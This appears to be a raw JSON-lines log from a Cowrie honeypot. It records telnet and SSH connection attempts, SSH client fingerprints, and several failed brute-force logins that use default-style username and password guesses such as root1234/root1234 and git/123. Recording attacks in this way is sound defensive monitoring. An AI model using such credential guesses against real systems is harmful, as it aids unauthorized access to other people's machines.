{"eventid":"cowrie.session.closed","duration":25.865353107452393,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:06.981079Z","src_ip":"134.209.8.29","session":"eba9fc0ad01c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:07.544684Z","src_ip":"176.65.132.254","session":"e018fd92ee5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51652,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef26b635617a","protocol":"telnet","message":"New connection: 62.210.97.77:51652 (10.17.0.5:23) [session: ef26b635617a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:09.924041Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51660,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd00402a5543","protocol":"telnet","message":"New connection: 62.210.97.77:51660 (10.17.0.5:23) [session: fd00402a5543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:10.105655Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51114,"dst_ip":"10.17.0.5","dst_port":22,"session":"4422a2381599","protocol":"ssh","message":"New connection: 176.65.132.254:51114 (10.17.0.5:22) [session: 4422a2381599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:10.479520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:10.484374Z","src_ip":"176.65.132.254","session":"4422a2381599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:10.565596Z","src_ip":"176.65.132.254","session":"4422a2381599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:10.819361Z","src_ip":"176.65.132.254","session":"4422a2381599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.068867444992065,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:11.461796Z","src_ip":"62.210.97.77","session":"bedd3db5ffbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:11.903081Z","src_ip":"176.65.132.254","session":"4422a2381599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51662,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcf1ac8a766b","protocol":"telnet","message":"New connection: 62.210.97.77:51662 (10.17.0.5:23) [session: fcf1ac8a766b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:12.436744Z"}
{"eventid":"cowrie.session.closed","duration":42.133326292037964,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:12.564688Z","src_ip":"62.210.97.77","session":"64b74f9d6732","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51664,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e6da9331a00","protocol":"telnet","message":"New connection: 62.210.97.77:51664 (10.17.0.5:23) [session: 0e6da9331a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:12.731730Z"}
{"eventid":"cowrie.session.closed","duration":47.93135118484497,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:12.799587Z","src_ip":"134.209.8.29","session":"5f45c776d6c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51672,"dst_ip":"10.17.0.5","dst_port":23,"session":"72097e9aa82b","protocol":"telnet","message":"New connection: 62.210.97.77:51672 (10.17.0.5:23) [session: 72097e9aa82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:13.265182Z"}
{"eventid":"cowrie.session.closed","duration":36.193899154663086,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:13.976278Z","src_ip":"62.210.97.77","session":"0e28c97deafc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.79920053482056,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:14.003815Z","src_ip":"62.210.97.77","session":"29c72b93bf10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40846,"dst_ip":"10.17.0.5","dst_port":22,"session":"10cd1165f6db","protocol":"ssh","message":"New connection: 176.65.132.254:40846 (10.17.0.5:22) [session: 10cd1165f6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:14.650449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:14.655835Z","src_ip":"176.65.132.254","session":"10cd1165f6db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:14.739098Z","src_ip":"176.65.132.254","session":"10cd1165f6db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51682,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d811800546b","protocol":"telnet","message":"New connection: 62.210.97.77:51682 (10.17.0.5:23) [session: 2d811800546b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:15.189741Z"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:15.236393Z","src_ip":"176.65.132.254","session":"10cd1165f6db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.20480561256409,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:15.474204Z","src_ip":"62.210.97.77","session":"1d643bf4c38f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:16.341399Z","src_ip":"176.65.132.254","session":"10cd1165f6db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51698,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf2550f72e5c","protocol":"telnet","message":"New connection: 62.210.97.77:51698 (10.17.0.5:23) [session: bf2550f72e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:16.509275Z"}
{"eventid":"cowrie.session.closed","duration":34.88420510292053,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:17.289099Z","src_ip":"62.210.97.77","session":"ee6744049afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40848,"dst_ip":"10.17.0.5","dst_port":22,"session":"01fa117f8f62","protocol":"ssh","message":"New connection: 176.65.132.254:40848 (10.17.0.5:22) [session: 01fa117f8f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:18.937455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:18.952536Z","src_ip":"176.65.132.254","session":"01fa117f8f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.17289161682129,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:18.980642Z","src_ip":"62.210.97.77","session":"a6c9f6057ed1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:19.043548Z","src_ip":"176.65.132.254","session":"01fa117f8f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.71539664268494,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:19.223692Z","src_ip":"62.210.97.77","session":"59ccfd900ed3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:19.349243Z","src_ip":"176.65.132.254","session":"01fa117f8f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.42170572280884,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:20.034628Z","src_ip":"62.210.97.77","session":"aa6d6ea78f42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:20.444905Z","src_ip":"176.65.132.254","session":"01fa117f8f62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58120,"dst_ip":"10.17.0.5","dst_port":23,"session":"993fe2f550b7","protocol":"telnet","message":"New connection: 62.210.97.77:58120 (10.17.0.5:23) [session: 993fe2f550b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:20.882725Z"}
{"eventid":"cowrie.session.closed","duration":33.818233251571655,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:21.400466Z","src_ip":"62.210.97.77","session":"bf918e625c24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54952,"dst_ip":"159.203.135.109","dst_port":23,"session":"994e1382b7ff","protocol":"telnet","message":"New connection: 134.209.8.29:54952 (159.203.135.109:23) [session: 994e1382b7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:21.632523Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58136,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2e71144bba","protocol":"telnet","message":"New connection: 62.210.97.77:58136 (10.17.0.5:23) [session: 0d2e71144bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:21.865157Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58146,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b010ccb21b0","protocol":"telnet","message":"New connection: 62.210.97.77:58146 (10.17.0.5:23) [session: 2b010ccb21b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:22.043597Z"}
{"eventid":"cowrie.session.closed","duration":35.6365168094635,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:22.080955Z","src_ip":"62.210.97.77","session":"e521a5dbbdeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85155701637268,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:22.951618Z","src_ip":"62.210.97.77","session":"d87d18ac3575","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60020,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7399bdd18d1","protocol":"ssh","message":"New connection: 176.65.132.254:60020 (10.17.0.5:22) [session: c7399bdd18d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:23.055093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:23.059855Z","src_ip":"176.65.132.254","session":"c7399bdd18d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:23.148185Z","src_ip":"176.65.132.254","session":"c7399bdd18d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58156,"dst_ip":"10.17.0.5","dst_port":23,"session":"85b14fd8a43a","protocol":"telnet","message":"New connection: 62.210.97.77:58156 (10.17.0.5:23) [session: 85b14fd8a43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:23.219384Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:23.400058Z","src_ip":"176.65.132.254","session":"c7399bdd18d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.058259963989258,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:23.690656Z","src_ip":"134.209.8.29","session":"994e1382b7ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58170,"dst_ip":"10.17.0.5","dst_port":23,"session":"9078d82fc3d4","protocol":"telnet","message":"New connection: 62.210.97.77:58170 (10.17.0.5:23) [session: 9078d82fc3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:23.980275Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:24.601759Z","src_ip":"176.65.132.254","session":"c7399bdd18d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58178,"dst_ip":"10.17.0.5","dst_port":23,"session":"714b8aad28b8","protocol":"telnet","message":"New connection: 62.210.97.77:58178 (10.17.0.5:23) [session: 714b8aad28b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:26.632239Z"}
{"eventid":"cowrie.session.closed","duration":34.29802489280701,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:26.998079Z","src_ip":"62.210.97.77","session":"286d3fae915e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58190,"dst_ip":"10.17.0.5","dst_port":23,"session":"f50720279a9f","protocol":"telnet","message":"New connection: 62.210.97.77:58190 (10.17.0.5:23) [session: f50720279a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:27.044170Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60022,"dst_ip":"10.17.0.5","dst_port":22,"session":"21c674e1fd59","protocol":"ssh","message":"New connection: 176.65.132.254:60022 (10.17.0.5:22) [session: 21c674e1fd59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:27.277086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:27.281034Z","src_ip":"176.65.132.254","session":"21c674e1fd59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:27.362203Z","src_ip":"176.65.132.254","session":"21c674e1fd59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:27.605936Z","src_ip":"176.65.132.254","session":"21c674e1fd59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:28.690377Z","src_ip":"176.65.132.254","session":"21c674e1fd59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38046,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea0ada27f1b4","protocol":"telnet","message":"New connection: 134.209.8.29:38046 (159.203.135.109:23) [session: ea0ada27f1b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:30.156077Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":15636,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e97b888fc04","protocol":"ssh","message":"New connection: 152.32.189.59:15636 (159.203.135.109:22) [session: 5e97b888fc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:31.189919Z"}
